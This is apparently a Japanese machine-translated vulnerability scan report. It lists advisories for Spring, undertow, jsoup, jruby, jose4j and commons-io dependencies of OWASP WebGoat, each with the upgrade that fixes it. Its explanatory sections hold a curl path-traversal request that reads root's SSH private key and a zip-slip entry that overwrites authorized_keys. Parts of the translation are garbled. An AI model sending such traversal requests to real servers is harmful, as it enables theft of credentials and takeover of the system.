このパッケージの影響を受けるバージョンは、シリアル化されたバージョンの使用時にログアウト機能がセキュリティコンテキストを適切にクリアしないため、セッション固定化の脆弱性を抱えています。さらに、空のセキュリティコンテキストを HttpSessionSecurityContextRepository に明示的に保存することもできません。これにより、ログアウト後もユーザーの認証が維持されてしまいます。

注意: アプリケーションは、次のいずれかの条件に該当する場合にのみ脆弱です。

- SecurityContextHolderFilter または requireExplicitSave(true) は、シリアル化されたセッションのログアウト サポートおよび invalidateHttpSession(false) で使用されています。
- 空の SecurityContext を HttpSessionSecurityContextRepository に保存することにより、ユーザーは手動でログアウトされます。
- HttpSession に依存しないカスタム SecurityContextRepository が使用されています。

### 修復

org.springframework.security:spring-security-web をバージョン 5.7.8, 5.8.3, 6.0.3 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [脆弱性に関するアドバイス](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 認証バイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-web 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-security@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-security@2.7.1、org.springframework.security:spring-security-web@5.7.2

### 概要

[org.springframework.security:spring-security-web](#)は、Spring IO プラットフォームにセキュリティ サービスを提供する Spring Security 内のパッケージです。

このパッケージの影響を受けるバージョンは、ロケールに依存する例外を持つString.toLowerCase()およびString.toUpperCase()の使用による認証バイパスに対して脆弱であり、その結果、認証ルールが適切に機能しなくなります。

### 修復

org.springframework.security:spring-security-webをバージョン 5.7.14、5.8.16、6.2.8、6.3.5 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 認証バイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-crypto 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.security:spring-security-test@5.7.2 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.security:spring-security-test@5.7.2、org.springframework.security:spring-security-core@5.7.2、org.springframework.security:spring-security-crypto@5.7.2

### 概要

[org.springframework.security:spring-security-crypto](#) Spring Security 用の spring-security-crypto ライブラリです。

このパッケージの影響を受けるバージョンは、ロケールに依存する例外を持つString.toLowerCase()およびString.toUpperCase()の使用による認証バイパスに対して脆弱であり、その結果、認証ルールが適切に機能しなくなります。

### 修復

org.springframework.security:spring-security-cryptoをバージョン 5.7.14、5.8.16、6.2.8、6.3.5 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 認証バイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-core 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.security:spring-security-test@5.7.2 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.security:spring-security-test@5.7.2、org.springframework.security:spring-security-core@5.7.2

### 概要

[org.springframework.security:spring-security-core](#) Spring IO プラットフォームにセキュリティ サービスを提供するパッケージです。

このパッケージの影響を受けるバージョンは、ロケールに依存する例外を持つString.toLowerCase()およびString.toUpperCase()の使用による認証バイパスに対して脆弱であり、その結果、認証ルールが適切に機能しなくなります。

## 修復

org.springframework.security:spring-security-coreをバージョン 5.7.14, 5.8.16, 6.2.8, 6.3.5 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## セッション固定

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-config 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-security@2.7.1 > org.springframework.security:spring-security-config@5.7.2

## 概要

[org.springframework.security:spring-security-config](#) Spring Framework のセキュリティ構成パッケージです。

このパッケージの影響を受けるバージョンは、シリアル化されたバージョンの使用時にログアウト機能がセキュリティコンテキストを適切にクリアしないため、セッション固定化の脆弱性を抱えています。さらに、空のセキュリティコンテキストを HttpSessionSecurityContextRepository に明示的に保存することもできません。これにより、ログアウト後もユーザーの認証が維持されてしまいます。

注意: アプリケーションは、次のいずれかの条件に該当する場合にのみ脆弱です。

- SecurityContextHolderFilter または requireExplicitSave(true) は、シリアル化されたセッションのログアウト サポートおよび invalidateHttpSession(false) で使用されています。
- 空の SecurityContext を HttpSessionSecurityContextRepository に保存することにより、ユーザーは手動でログアウトされます。
- HttpSession に依存しないカスタム SecurityContextRepository が使用されています。

## 修復

org.springframework.security:spring-security-configをバージョン 5.7.8, 5.8.3, 6.0.3 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [脆弱性に関するアドバイス](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 認証バイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-config 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-security@2.7.1 > org.springframework.security:spring-security-config@5.7.2

## 概要

[org.springframework.security:spring-security-config](#) Spring Framework のセキュリティ構成パッケージです。

このパッケージの影響を受けるバージョンは、ロケールに依存する例外を持つString.toLowerCase()およびString.toUpperCase()の使用による認証バイパスに対して脆弱であり、その結果、認証ルールが適切に機能しなくなります。

## 修復

org.springframework.security:spring-security-configをバージョン 5.7.14, 5.8.16, 6.2.8, 6.3.5 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)

- [GitHubコミット](#)
- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 不適切な入力検証

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.boot:spring-boot-actuator-autoconfigure 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-actuator@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-actuator@2.7.1, org.springframework.boot:spring-boot-アクチュエータ自動構成@2.7.1

### 概要

このパッケージの影響を受けるバージョンは、EndpointRequestが作成されたアクチュエータ エンドポイントが無効になっているか公開されていない場合にnull/\*\*のマッチャーを作成するEndpointRequest.to()関数を介した不適切な入力検証に対して脆弱です。

注記：

これは、以下の条件がすべて満たされた場合にのみ適用可能です。

1. EndpointRequest.to()が Spring Security チェーン構成で使用されています。
2. EndpointRequest が参照するエンドポイントが無効になっているか、Web 経由で公開されていません。
3. アプリケーションは /null へのリクエストを処理するため、このパスを保護する必要があります。

### 回避策

これは次のいずれかの方法で軽減できます。

1. EndpointRequest.to()が参照しているエンドポイントが有効になっており、Web 経由で公開されていることを確認します。
2. /null へのリクエストを処理しないようにしてください。

### 修復

org.springframework.boot:spring-boot-actuator-autoconfigure をバージョン 3.3.11, 3.4.5 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.boot:spring-boot-actuator 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-actuator@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-actuator@2.7.1, org.springframework.boot:spring-boot-アクチュエータ自動構成@2.7.1, org.springframework.boot:spring-boot-actuator@2.7.1

### 概要

このパッケージの影響を受けるバージョンは、以下の両方の条件が満たされる場合、HTTP リクエスト経由のサービス拒否 (DoS) に対して脆弱です。

- Spring MVC または Spring WebFlux が使用されています。
- org.springframework.boot:spring-boot-actuator はクラスパス上にあります。

### 回避策

この脆弱性は、Web メトリクスを無効にすることで回避できます: management.metrics.enable.http.server.requests=false

### 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

`org.springframework.boot:spring-boot-actuator` をバージョン 2.7.18, 3.0.13, 3.1.6 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [脆弱性に関するアドバイス](#)

[この脆弱性の詳細](#)

中程度の深刻度

## クロスサイトスクリプティング (XSS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.jsoup:jsoup 導入
- 元: org.owasp.webgoat:webgoat@2023.4 および org.jsoup:jsoup@1.14.3

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.jsoup:jsoup@1.14.3

### 概要

[org.jsoup:jsoup](#) は、実際の HTML を扱うための Java ライブラリです。DOM、CSS、そして jQuery のようなメソッドを最大限に活用し、データの抽出と操作に非常に便利な API を提供します。jsoup は WHATWG HTML5仕様を実装し、HTML を最新の ブラウザ と同じ DOM に解析します。

このパッケージの影響を受けるバージョンは、デフォルト以外の `SafeList.preserveRelativeLinks` オプションが有効になっていて、Web サイトにコンテンツ セキュリティ ポリシーが設定されていない場合、`javascript: URL` 式を含む HTML の不適切なサニタイズにより、クロスサイト スクリプティング (XSS) に対して脆弱です。

注意: 修正バージョンにアップグレードするユーザーは、サニタイズされていない入力が残っている可能性があるため、古いコンテンツも再度クリーンアップする必要があります。

### 緩和

修正版にアップグレードできないユーザーは、`SafeList.preserveRelativeLinks` オプションを無効にしてください。これにより、入力された URL が絶対 URL に書き換えられ、適切なコンテンツ セキュリティ ポリシーが確実に定義されます。また、多層防御のベスト プラクティスとしても使用できます。

### 詳細

クロスサイトスクリプティング (XSS) は、攻撃者が信頼できるウェブサイトに悪意のあるスクリプトを「挿入」することで発生するコードの脆弱性です。挿入されたスクリプトは、エンドユーザーが侵害されたウェブサイトにアクセスした際に、ブラウザによってダウンロードされ、実行されます。

これはウェブアプリケーションのコンテンツをエスケープすることで実現されます。ウェブアプリケーションは、そのデータを他の信頼できる動的コンテンツと共に、検証することなくユーザーに配信します。ブラウザは、通常はブラウザの同一生成元ポリシーによってブロックされるアクションを実行するために、クライアント側で（クライアント側言語、通常は JavaScript または HTML を介して）悪意のあるスクリプトを無意識のうちに実行します。

悪意のあるコードの挿入は、XSS を悪用する最も一般的な方法です。このため、この操作を防ぐために文字をエスケープすることが、この脆弱性に対してコードを保護するための最善の方法です。

エスケープとは、アプリケーションがキー文字、特にユーザー入力に含まれるキー文字をマークするようにコーディングし、それらの文字が危険なコンテンツで解釈されるのを防ぐことを意味します。例えば HTML では、< は &lt; ; > は &gt; ; とコーディングすることで、テキスト内ではキー文字として解釈・表示されますが、コード内では HTML タグとして使用されます。特殊文字をエスケープするアプリケーションに悪意のあるコンテンツが挿入され、その悪意のあるコンテンツが <> を HTML タグとして使用している場合、アプリケーションコード内で正しくエスケープされていれば、ブラウザはそれらの文字を HTML タグとして解釈せず、攻撃を回避します。

XSS の最も顕著な用途は、Cookie を盗むこと（出典: OWASP HttpOnly）とユーザー セッションの乗っ取りですが、XSS エクスプロイトは機密情報を公開したり、特権サービスや機能へのアクセスを可能にしたり、マルウェアを配信したりするために使用されてきました。

### 攻撃の種類

XSS を操作する方法はいくつかあります。

タイ	起源の説明
ブ : StoredServer 攻撃者によって悪意のあるコードがアプリケーションに（通常はリンクとして）挿入されます。このコードは、ユーザーがリンクをクリックするたびに実行されます。	

ReflectedServer 攻撃者は、脆弱なウェブサイトアプリケーションから悪意のあるリンクを外部に送り、ユーザーに悪意のあるリンクを配信します。クリックすると、悪意のあるコードが脆弱な Web サイトに送信され、その攻撃がユーザーのブラウザに反映されます。

DOM- クライアント攻撃者はユーザーのブラウザに悪意のあるページを表示させます。ページ自体のデータはクロスプラットフォームで動作します。

ベース サイト スクリプティング データ。  
攻撃者は安全に見えるコードを挿入しますが、マークアップを解析する際にブラウザによって書き換えられ、変更されます。

たとえば、閉じられていない引用符のバランスを調整したり、引用符で囲まれていないパラメータに引用符を追加したりします。

### 影響を受ける環境

次の環境は XSS 攻撃の影響を受けやすいです。

- ウェブサーバー

- アプリケーションサーバー
- Webアプリケーション環境

## 予防方法

このセクションでは、特にコードを保護するために設計されたトップのベスト プラクティスについて説明します。

- HTTP リクエストに入力されたデータを反映する前にサニタイズし、検索時のクエリ パラメータの値など、ユーザーに何かをエコーする前にすべてのデータが検証、フィルタリング、またはエスケープされていることを確認します。
- ?/などの特殊文字を変換し、ユーザーにクライアント側スクリプトを < > およびスペースを、それぞれ HTML または URL でエンコードされた同等の値に変換します。
- 無効にするオプションを提供します。
- 無効なリクエストをリダイレクトします。
- 2 つの異なる IP アドレスからのログインを含む同時ログインを検出し、それらのセッションを無効にします。
- コンテンツ セキュリティ ポリシー (出典: Wikipedia) を使用して適用し、XSS 攻撃のために操作される可能性のある機能を無効にします。
- コード内で参照されているライブラリのドキュメントを読んで、埋め込み HTML を許可する要素を理解してください。

## 修復

org.jsoup:jsoupをバージョン 1.15.3 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubリリース](#)

[この脆弱性の詳細](#)

中程度の深刻度

## ホスト不一致による証明書の不適切な検証

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.jruby:jruby 導入
- 元: org.owasp.webgoat:webgoat@2023.4、org.asciidoc:asciidoc@2.5.3 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.asciidoc:asciidoc@2.5.3 > org.jruby:jruby@9.3.6.0

### 概要

[org.jruby:jruby](#) は、Ruby プログラミング言語の高性能で安定した、完全にスレッド化された Java 実装です。

このパッケージの影響を受けるバージョンは、SSL 証明書の検証プロセスにおけるホスト不一致による証明書の不適切な検証の脆弱性を悪用します。攻撃者は、自身が管理する無関係なドメインの有効な証明書を提示することで、安全な通信を傍受できます。

注記：

これは、攻撃者が攻撃を実行する前に「中間者」(MITM) の立場にある場合にのみ悪用可能です。

### 概念実証

```
「net/http」が必要  
「openssl」が必要  
  
uri      = URI("https://bad.substitutealert.com/")  
https = Net::HTTP.new(uri.host, uri.port) https.use_ssl =  
true https.verify_mode =  
OpenSSL::SSL::VERIFY_PEER  
  
body = https.start { https.get(uri.request_uri).body } は本文を記述します
```

## 修復

org.jruby:jrubyをバージョン 9.4.12.1、10.0.0.1 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 制限やスロットルのないリソースの割り当て

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.jboss.xnio:xnio-api 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-undertow@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final > org.jboss.xnio:xnio-api@3.8.7.Final

## 概要

[org.jboss.xnio:xnio-api NIO](#) が使用されている場所であればどこでも使用できる、簡素化された低レベル I/O レイヤーです。

このパッケージの影響を受けるバージョンは、`notifyReadClosed` メソッドによるリソースの無制限割り当てやスロットリングに対して脆弱であり、攻撃者が欠陥のあるリクエストをサーバーに送信できるため、ログ競合に関連するパフォーマンスの問題や不要なディスクの満杯が発生する可能性があります。

## 修復

[org.jboss.xnio:xnio-api](#) をバージョン 3.8.8 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHub の PR](#)
- [RedHat Bugzilla バグ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 不十分な暗号化強度

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.bitbucket.b\_c:jose4j 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.bitbucket.b\_c:jose4j@0.7.6

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.bitbucket.b\_c:jose4j@0.7.6

## 概要

[org.bitbucket.b\\_c:jose4j](#) は、JSON Web Token (JWT) と JOSE 仕様スイート (JWS, JWE, JWK) の堅牢で使いやすいオープンソース実装です。Java で記述されており、暗号化には JCA API のみを使用しています。[https://bitbucket.org/b\\_c/jose4j/wiki/Home](https://bitbucket.org/b_c/jose4j/wiki/Home) をご覧ください。詳細情報、例などについては…

このパッケージの影響を受けるバージョンは、反復回数の設定による不十分な暗号化強度に対して脆弱であり、反復回数の設定が低い値に設定されていると、暗号化を解読するために必要な計算量を削減できます。

## 修復

[org.bitbucket.b\\_c:jose4j](#) をバージョン 0.9.3 以上にアップグレードします。

## 参考文献

- [Bitbucketコミット](#)
- [Bitbucketの問題](#)
- [脆弱性レポート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-undertow@2.7.1 などを通じて導入されました

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#) 非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、AJP 経由で POST リクエストが送信され、そのリクエストが最大投稿サイズ制限 (`maxEntitySize`) を超えた場合に、サービス拒否 (DoS) 攻撃の脆弱性を生じます。AjpServerRequestConduit 実装は、クライアント / プロキシに応答を送信せずに接続を閉じます。その結果、フロントエンドプロキシはバックエンドワーカーをエラー状態としてマークし、しばらくの間、ワーカーへのリクエストの転送を停止します。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰まらせようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

io.undertow:undertow-coreをバージョン 2.2.19.Final, 2.3.0.Alpha2 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHub の PR](#)
- [Red Hat Bugzilla バグ](#)
- [引き波問題](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven 脆
- 弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4.org.springframework.boot:spring-boot-starter-undertow@2.7.1などを通じて導入されました

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1, io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、HTTP/2 経由のブラウザによるフロー制御処理において、サービス拒否 (DoS) 攻撃の脆弱性を有しています。これにより、サーバー側でオーバーヘッドやサービス拒否が発生する可能性があります。これは、[CVE-2021-3629](#) の修正が不完全であるためです。。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰まらせようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

io.undertow:undertow-coreをバージョン 2.2.25.Final, 2.3.6.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHub の PR](#)
- [引き波問題](#)

[この脆弱性の詳細](#)

中程度の深刻度

## ディレクトリトラバーサル

- パッケージマネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4.org.springframework.boot:spring-boot-starter-undertow@2.7.1などを通じて導入されました

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1, io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、HTTPリクエストの入力検証が不適切であるため、ディレクトリトラバーサルの脆弱性を有します。攻撃者は、JBoss EAPにデプロイされたアプリケーションに対するHTTPリクエストに細工されたシーケンスを追加することで、特権または制限付きのファイルやディレクトリにアクセスできるようになります。

## 詳細

ディレクトリトラバーサル攻撃（パストラバーサルとも呼ばれます）は、意図したフォルダ外に保存されているファイルやディレクトリへのアクセスを目的とした攻撃です。「..」などの文字列やその派生語、あるいは絶対パスを用いてファイルを操作することで、ファイルシステム上に保存されている任意のファイルやディレクトリ（アプリケーションのソースコード、設定ファイル、その他の重要なシステムファイルなど）にアクセスできるようになる可能性があります。

ディレクトリトラバーサルの脆弱性は、一般的に次の2つのタイプに分けられます。

- 情報漏洩:攻撃者がフォルダ構造に関する情報を取得したり、システム上の機密ファイルの内容を読み取ったりできるようになります。

stはウェブページ上で静的ファイルを提供するためのモジュールであり、[このタイプの脆弱性](#)が含まれています。この例では、パブリックルートからファイルを提供します。

攻撃者が当社のサーバーから次のURLを要求すると、ルートユーザーの機密性の高い秘密鍵が漏洩することになります。

カール `http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa`

注: %2eは URL エンコードされたバージョンです。 .(ドット)。

- 任意のファイルの書き込み:攻撃者がファイルを作成したり、既存のファイルを置き換えるたりできるようになります。このタイプの脆弱性は、Zip-Slipとも呼ばれます。

これを実現する方法の一つは、パストラバーサルファイル名を含む悪意のあるzipアーカイブを使用することです。zipアーカイブ内の各ファイル名が検証なしに対象の抽出フォルダに連結されると、最終的なパスは対象のフォルダ外になります。実行ファイルまたは設定ファイルが悪意のあるコードを含むファイルで上書きされると、この問題は容易に任意コード実行の問題へと発展する可能性があります。

以下は、無害なファイルと悪意のあるファイルがそれぞれ1つずつ含まれたzipアーカイブの例です。悪意のあるファイルを抽出すると、ターゲットフォルダから/root/.sshに移動し、authorized\_keysファイルが上書きされます。

```
2018-04-15 22:04:29 ..... 19 good.txt
2018-04-15 22:04:42 ..... 20 ..../..../..../..../root/.ssh/authorized_keys
```

## 修復

io.undertow:undertow-coreをバージョン 2.2.33.Final, 2.3.12.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 競合状態

- パッケージ マネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1などを通じて導入されました

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、ProxyProtocolReadListener内のStringBuilderインスタンスが複数のリクエスト間で再利用されるため、競合状態が発生する脆弱性があります。攻撃者は、StringBuilderの共有使用を悪用することで、以前のリクエストまたはレスポンスのデータにアクセスできる可能性があります。

この脆弱性は主にエラーと接続終了を引き起こしますが、マルチリクエスト環境ではデータ漏洩のリスクも生じます。

## 修復

io.undertow:undertow-coreをバージョン 2.2.36.Final, 2.3.17.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)

[この脆弱性の詳細](#)

中程度の深刻度

## ディレクトリトラバーサル

- パッケージマネージャー: maven
- 脆弱なモジュール: commons-io:commons-io
- 導入元: org.owasp.webgoat:webgoat@2023.4 および commons-io:commons-io@2.6

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > commons-io:commons-io@2.6

## 概要

[コモンズio:コモンズio Apache Commons IO](#) ライブラリには、ユーティリティ クラス、ストリーム実装、ファイル フィルター、ファイル コンバレーター、エンディアン変換クラスなどが含まれています。

このパッケージの影響を受けるバージョンは、次のような不適切な文字列を使用してメソッド `FileNameUtils.normalize` を呼び出すことにより、親ディレクトリ内のファイルへのアクセスを許可する可能性があるディレクトリ `..` または `\..` に対して脆弱です。

## 詳細

ディレクトリトランザクション攻撃（バストラバーサルとも呼ばれます）は、意図したフォルダ外に保存されているファイルやディレクトリへのアクセスを目的とした攻撃です。`..`などの文字列やその派生語、あるいは絶対パスを用いてファイルを操作することで、ファイルシステム上に保存されている任意のファイルやディレクトリ（アプリケーションのソースコード、設定ファイル、その他の重要なシステムファイルなど）にアクセスできるようになる可能性があります。

ディレクトリトランザクションの脆弱性は、一般的に次の 2 つのタイプに分けられます。

- 情報漏洩: 攻撃者がフォルダー構造に関する情報を取得したり、システム上の機密ファイルの内容を読み取ったりできるようになります。

stはウェブページ上で静的ファイルを提供するためのモジュールであり、このタイプの脆弱性が含まれています。この例では、パブリックルートからファイルを提供します。

攻撃者が当社のサーバーから次の URL を要求すると、ルート ユーザーの機密性の高い秘密鍵が漏洩することになります。

カーネル `http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa`

注: %2eは URL エンコードされたバージョンです。 .(ドット)。

- 任意のファイルの書き込み: 攻撃者がファイルを作成したり、既存のファイルを置き換えたりできるようになります。このタイプの脆弱性は、Zip-Slipとも呼ばれます。

これを実現する方法の一つは、バストラバーサルファイル名を含む悪意のあるzipアーカイブを使用することです。zipアーカイブ内の各ファイル名が検証なしに対象の抽出フォルダに連結されると、最終的なパスは対象のフォルダ外になります。実行ファイルまたは設定ファイルが悪意のあるコードを含むファイルで上書きされると、この問題は容易に任意コード実行の問題へと発展する可能性があります。

以下は、無害なファイルと悪意のあるファイルがそれぞれ 1 つずつ含まれたzipアーカイブの例です。悪意のあるファイルを抽出すると、ターゲットフォルダから `/root/.ssh/` に移動し、 `authorized_keys` ファイルが上書きされます。

```
2018-04-15 22:04:29 ....      19      19 good.txt  
2018-04-15 22:04:42 ....      20      20 ../../../../../../root/.ssh/authorized_keys
```

## 修復

commons-io:commons-ioをバージョン 2.7 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [Jiraの問題](#)
- [概念実証](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 制御されていないリソース消費（「リソース枯渇」）

- パッケージマネージャー: maven
- 脆弱なモジュール: commons-io:commons-io
- 導入元: org.owasp.webgoat:webgoat@2023.4 および commons-io:commons-io@2.6

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > commons-io:commons-io@2.6

## 概要

[コモンズio:コモンズio Apache Commons IO](#) ライブラリには、ユーティリティ クラス、ストリーム実装、ファイル フィルター、ファイル コンバレーター、エンディアン変換クラスなどが含まれています。

このパッケージの影響を受けるバージョンは、`XmlStreamReader` クラスを介した制御不能なリソース消費（「リソース枯渇」）の脆弱性を有します。攻撃者は、細工したXMLコンテンツを送信することで、アプリケーションに過剰なCPUリソースを消費させる可能性があります。

## 修復

commons-io:commons-ioをバージョン 2.14.0 以上にアップグレードします。

## 参考文献

- [Apacheアドバイザリ](#)
- [GitHubコミット](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 任意のファイル削除

- パッケージ マネージャー: maven
